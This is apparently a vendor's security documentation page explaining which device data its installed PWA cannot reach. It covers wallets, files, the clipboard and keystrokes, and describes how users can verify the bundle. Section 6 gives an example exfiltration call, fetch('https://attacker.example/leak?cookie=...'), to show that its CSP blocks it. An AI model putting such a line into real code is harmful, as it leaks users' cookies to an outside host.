Docs·Web App·Security

What a PWA cannot do

The browser sandbox in plain language — why a Progressive Web App installed to your home screen cannot read your crypto wallet, your seed phrase, your filesystem, your clipboard, or your keystrokes. Every claim links to the MDN reference so you can verify it yourself.

A Progressive Web App (PWA) is a website with a launch icon, not a native app. When you "install" mrD-Indicators to your home screen, the browser saves a shortcut and lets the site run in its own window — but the running code is still a web page under the same security rules as any other website. We don't get root, we don't get filesystem access, we don't get to read other apps.

This page lists, point by point, the things people worry about — and the technical reason each one is impossible. Every claim links to the Mozilla Developer Network (MDN) so you can verify it without trusting us.

A note on closed source. Our source repository is private (we are a commercial product, not an open-source library). That does NOT mean you cannot verify what the app does — we publish a SHA-256 manifest of every file the production CDN serves + a Sigstore signature to a separate public GitHub repository at github.com/PhamNhinh/mrd-indicators-releases, and every JavaScript file in the product is shipped into your browser the moment you load the page (that is how the web works). See Verify the app §4 for how to audit the bundle yourself and §3 for how to confirm the manifest was signed by GitHub Actions in our CI — not uploaded manually by anyone.

1. We cannot read your crypto wallet (MetaMask, Phantom, Rabby, etc.)

Browser extensions like MetaMask store your wallet data inside the extension's own isolated origin. A web page can request a connection (window.ethereum.request({ method: 'eth_requestAccounts' })) — at which point MetaMask shows a permission popup and you decide which accounts to expose — but the web page cannot reach into the extension's storage without your explicit consent.

Verify on MDN:

We do not ship a window.ethereum request anywhere in the app. You can search the bundle yourself (DevTools → Sources → Cmd-F).

2. We cannot read files from your filesystem

Web pages have no general filesystem access. The only ways a web page can touch a file on your device are:

  • You bring up a <input type="file"> picker and explicitly select a file. The page only sees the file you picked.
  • You drag-and-drop a file onto a page handler. Same — only the file you dropped.
  • The File System Access API — also requires you to pick a directory through a system prompt.

There is no API that lets a web page read ~/Library/Application Support/, ~/AppData/Roaming/, or any other path on its own initiative. None. Not as a PWA, not in incognito mode, not on iOS, not on Android, not on desktop.

Verify on MDN:

3. We cannot read your clipboard in the background

There are two clipboard APIs in modern browsers, and both require a user gesture:

A PWA cannot silently monitor what you copy. The browser will not let it. There is no "background clipboard listener" API anywhere on the web platform — Chrome, Safari, Firefox, and Edge have all rejected that proposal explicitly because it's the obvious attack surface for stealing crypto seeds.

If you Cmd-V a seed phrase into Notepad, mrD-Indicators (or any other site) cannot see it. The seed lives in the clipboard, the clipboard belongs to the OS, and only the focused app receives the paste event.

Verify on MDN:

4. We cannot record your keystrokes outside our own inputs

Keyboard events (keydown, keyup, input) fire only on elements inside the page. They do not fire when you type into Chrome's address bar, into another tab, into another app, into a password manager popup, or into your OS clipboard buffer.

This is a hard rule of the browser's event model — not something we can opt into. There is no "global keystroke listener" API, ever, on the web platform.

Verify on MDN:

5. We cannot install software, escalate privileges, or "do something native"

A PWA installed to your home screen is a saved shortcut + a service worker. It does not run native code. It cannot:

  • Install other apps.
  • Modify your OS settings.
  • Access your camera / microphone / location / contacts / notifications without an explicit permission prompt the first time it tries.
  • Run in the background after you close all its windows (the service worker can wake briefly for push notifications, but it cannot connect to arbitrary hosts — see §6).

The install flow itself only does three things: copies an icon to your home screen / Dock / Start menu, sets up a launch URL pointing at our domain, and registers the service worker that handles offline caching and push notifications. Uninstalling it (right-click the icon → Uninstall) reverses all three.

Verify on MDN:

6. We cannot connect to arbitrary servers (even if the bundle were compromised)

This is the CSP layer — and it's why even a worst-case "what if a malicious script slipped into the bundle" still cannot exfiltrate your data.

mrD-Indicators ships a Content Security Policy header that whitelists exactly the domains the app is allowed to talk to. If a script in the bundle tries to fetch('https://attacker.example/leak?cookie=...'), the browser blocks the request before it leaves your machine and logs a CSP violation. You can see this yourself:

  1. Open DevTools → Network.
  2. Watch every connection the app makes during a chart load, an autotrade, an alert push.
  3. Compare against the published whitelist.
  4. Anything outside the whitelist would never appear in your Network tab — the browser rejects it at the fetch boundary.

CSP is not perfect against every attack class (it doesn't help if our backend is compromised, for example), but it kills the entire family of "bundle contains a small script that quietly exfiltrates data" attacks. That is the family every Telegram FUD post is actually describing.

7. We cannot "auto-update with malicious code" without you noticing

The service worker can fetch new bundle versions in the background. When it does:

  1. The new bundle's content is added to the cache.
  2. The next time you open the app, the new version activates.
  3. The activation is visible in DevTools → Application → Service Workers (the old version's state goes to redundant).
  4. The new bundle is still constrained by the same CSP — it cannot reach any domain that wasn't whitelisted at build time.

If you want absolute control, you can disable auto-update entirely on a per-site basis in Chrome (Settings → Privacy → Cookies and other site data → block site). The PWA then becomes a pinned snapshot.

For us, the safer answer is to make every update verifiable — see Verify the build. Every deploy has a SHA-256 you can audit and a GitHub attestation proving the bundle was built from a specific commit. An attacker would have to compromise GitHub's signing infrastructure to forge that.

Cross-check this list yourself

If you don't trust this page, do the following before installing:

  1. Open app.mrd-indicators.com in a regular browser tab.
  2. Open DevTools (F12 / Cmd-Opt-I).
  3. Go to Network tab. Reload. Scroll through every request. Confirm every host is one of: app.mrd-indicators.com, *.docserver.name, *.binance.com, *.firebaseio.com, fonts.googleapis.com, fonts.gstatic.com, cdn.jsdelivr.net, cdnjs.cloudflare.com, www.googletagmanager.com, www.google-analytics.com.
  4. Go to Application tab → StorageLocal Storage. Confirm you only see settings and a JWT for your own session.
  5. Go to ApplicationService Workers. Confirm only /sw.js is registered (Vite PWA workbox) and /firebase-messaging-sw.js (push notifications).
  6. Search Sources for window.ethereum, clipboard.readText, document.body.innerHTML, or any other API name you're suspicious of. You'll find them only where they're documented to live (e.g. clipboard.readText inside the copy-symbol button handler).

If you find something on this list that doesn't match — tell us. We'll fix it and add the audit note to this page.

What's next